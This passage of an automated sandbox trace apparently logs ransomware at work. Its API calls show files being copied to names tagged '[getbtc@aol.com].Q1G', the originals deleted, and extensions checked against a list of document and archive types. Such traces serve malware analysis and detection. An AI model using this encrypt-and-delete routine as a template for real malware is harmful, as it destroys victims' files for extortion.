[0265.842] lstrlenW (lpString="WSS.ICO") returned 7 [0265.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.843] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=9062) returned 1 [0265.843] CloseHandle (hObject=0x3e0) returned 1 [0265.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico")) returned 0x20 [0265.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.843] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.843] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.844] GetLastError () returned 0x0 [0265.844] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2366, lpOverlapped=0x0) returned 1 [0265.846] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2370, lpOverlapped=0x0) returned 1 [0265.847] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.847] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0265.847] SetEndOfFile (hFile=0x39c) returned 1 [0265.847] CloseHandle (hObject=0x39c) returned 1 [0265.847] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.847] SetEndOfFile (hFile=0x3e0) returned 1 [0265.849] CloseHandle (hObject=0x3e0) returned 1 [0265.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico")) returned 1 [0265.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.850] lstrlenW (lpString=".doc") returned 4 [0265.850] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.850] lstrlenW (lpString=".docx") returned 5 [0265.850] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0265.850] lstrlenW (lpString=".pdf") returned 4 [0265.850] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.850] lstrlenW (lpString=".xls") returned 4 [0265.850] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.850] lstrlenW (lpString=".xlsx") returned 5 [0265.850] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0265.850] lstrlenW (lpString=".ppt") returned 4 [0265.850] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.850] lstrlenW (lpString=".zip") returned 4 [0265.851] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString=".rar") returned 4 [0265.851] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString=".bz2") returned 4 [0265.851] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.851] lstrlenW (lpString=".7z") returned 3 [0265.851] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.851] lstrlenW (lpString=".dbf") returned 4 [0265.851] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.851] lstrlenW (lpString=".1cd") returned 4 [0265.851] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.851] lstrlenW (lpString=".jpg") returned 4 [0265.851] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.851] lstrlenW (lpString=".doc") returned 4 [0265.851] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.851] lstrlenW (lpString=".docx") returned 5 [0265.851] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0265.851] lstrlenW (lpString=".pdf") returned 4 [0265.851] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString=".xls") returned 4 [0265.851] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString=".xlsx") returned 5 [0265.851] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0265.851] lstrlenW (lpString=".ppt") returned 4 [0265.851] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.851] lstrlenW (lpString=".zip") returned 4 [0265.851] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString=".rar") returned 4 [0265.851] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.851] lstrlenW (lpString=".bz2") returned 4 [0265.851] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.851] lstrlenW (lpString=".7z") returned 3 [0265.852] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.852] lstrlenW (lpString=".dbf") returned 4 [0265.852] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.852] lstrlenW (lpString=".1cd") returned 4 [0265.852] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO") returned 67 [0265.852] lstrlenW (lpString=".jpg") returned 4 [0265.852] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.852] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.852] lstrlenW (lpString="WSS_DocLib.ico") returned 14 [0265.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.852] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2862) returned 1 [0265.852] CloseHandle (hObject=0x3e0) returned 1 [0265.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico")) returned 0x20 [0265.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.853] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.853] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.854] GetLastError () returned 0x0 [0265.854] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xb2e, lpOverlapped=0x0) returned 1 [0266.046] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0266.047] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.047] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0266.047] SetEndOfFile (hFile=0x39c) returned 1 [0266.047] CloseHandle (hObject=0x39c) returned 1 [0266.047] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.048] SetEndOfFile (hFile=0x3e0) returned 1 [0266.050] CloseHandle (hObject=0x3e0) returned 1 [0266.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0266.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico")) Thread: id = 76 os_tid = 0x630 [0235.780] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a30060 [0235.780] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10000) returned 0x3a40068 [0235.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581510 [0235.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6) returned 0x57f048 [0235.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581528 [0235.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x3db0020 [0235.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581540 [0235.781] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581540, Size=0x20) returned 0x614630 [0235.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581540 [0235.781] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581540, Size=0x20) returned 0x614658 [0235.781] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0235.781] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0235.781] Wow64DisableWow64FsRedirection (in: OldValue=0x319ff58 | out: OldValue=0x319ff58*=0x0) returned 1 [0235.781] lstrlenW (lpString="kernel32.dll") returned 12 [0235.782] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614630 | out: hHeap=0x530000) returned 1 [0235.782] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0235.782] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x614658 | out: hHeap=0x530000) returned 1 [0235.782] Sleep (dwMilliseconds=0x64) [0235.987] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0235.987] lstrlenW (lpString="Alphabet.xml") returned 12 [0235.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0236.142] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=791686) returned 1 [0236.142] CloseHandle (hObject=0x278) returned 1 [0236.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0236.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.142] lstrlenW (lpString=".doc") returned 4 [0236.142] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.142] lstrlenW (lpString=".docx") returned 5 [0236.142] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0236.142] lstrlenW (lpString=".pdf") returned 4 [0236.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString=".xls") returned 4 [0236.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString=".xlsx") returned 5 [0236.143] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0236.143] lstrlenW (lpString=".ppt") returned 4 [0236.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.143] lstrlenW (lpString=".zip") returned 4 [0236.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.143] lstrlenW (lpString=".rar") returned 4 [0236.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString=".bz2") returned 4 [0236.143] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString=".7z") returned 3 [0236.143] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.143] lstrlenW (lpString=".dbf") returned 4 [0236.143] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.143] lstrlenW (lpString=".1cd") returned 4 [0236.143] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.143] lstrlenW (lpString=".jpg") returned 4 [0236.143] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.143] lstrlenW (lpString=".doc") returned 4 [0236.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString=".docx") returned 5 [0236.143] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0236.143] lstrlenW (lpString=".pdf") returned 4 [0236.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString=".xls") returned 4 [0236.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0236.143] lstrlenW (lpString=".xlsx") returned 5 [0236.143] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0236.144] lstrlenW (lpString=".ppt") returned 4 [0236.144] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0236.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.144] lstrlenW (lpString=".zip") returned 4 [0236.144] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0236.144] lstrlenW (lpString=".rar") returned 4 [0236.144] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0236.144] lstrlenW (lpString=".bz2") returned 4 [0236.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0236.144] lstrlenW (lpString=".7z") returned 3 [0236.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0236.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.144] lstrlenW (lpString=".dbf") returned 4 [0236.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0236.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.144] lstrlenW (lpString=".1cd") returned 4 [0236.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0236.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0236.144] lstrlenW (lpString=".jpg") returned 4 [0236.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0236.144] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0236.144] lstrlenW (lpString="boxed-correct.avi") returned 17 [0236.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0236.146] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=89600) returned 1 [0236.146] CloseHandle (hObject=0x278) returned 1 [0236.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0236.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.146] lstrlenW (lpString=".doc") returned 4 [0236.146] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.146] lstrlenW (lpString=".docx") returned 5 [0236.146] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0236.146] lstrlenW (lpString=".pdf") returned 4 [0236.146] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.146] lstrlenW (lpString=".xls") returned 4 [0236.146] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.146] lstrlenW (lpString=".xlsx") returned 5 [0236.146] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0236.146] lstrlenW (lpString=".ppt") returned 4 [0236.146] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.146] lstrlenW (lpString=".zip") returned 4 [0236.146] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.146] lstrlenW (lpString=".rar") returned 4 [0236.146] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.146] lstrlenW (lpString=".bz2") returned 4 [0236.146] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString=".7z") returned 3 [0236.147] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.147] lstrlenW (lpString=".dbf") returned 4 [0236.147] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.147] lstrlenW (lpString=".1cd") returned 4 [0236.147] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.147] lstrlenW (lpString=".jpg") returned 4 [0236.147] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.147] lstrlenW (lpString=".doc") returned 4 [0236.147] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString=".docx") returned 5 [0236.147] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0236.147] lstrlenW (lpString=".pdf") returned 4 [0236.147] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString=".xls") returned 4 [0236.147] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString=".xlsx") returned 5 [0236.147] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0236.147] lstrlenW (lpString=".ppt") returned 4 [0236.147] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.147] lstrlenW (lpString=".zip") returned 4 [0236.147] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString=".rar") returned 4 [0236.147] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString=".bz2") returned 4 [0236.147] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0236.147] lstrlenW (lpString=".7z") returned 3 [0236.147] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0236.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.147] lstrlenW (lpString=".dbf") returned 4 [0236.148] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0236.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.148] lstrlenW (lpString=".1cd") returned 4 [0236.148] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0236.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0236.148] lstrlenW (lpString=".jpg") returned 4 [0236.148] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0236.148] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0236.148] lstrlenW (lpString="boxed-delete.avi") returned 16 [0236.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 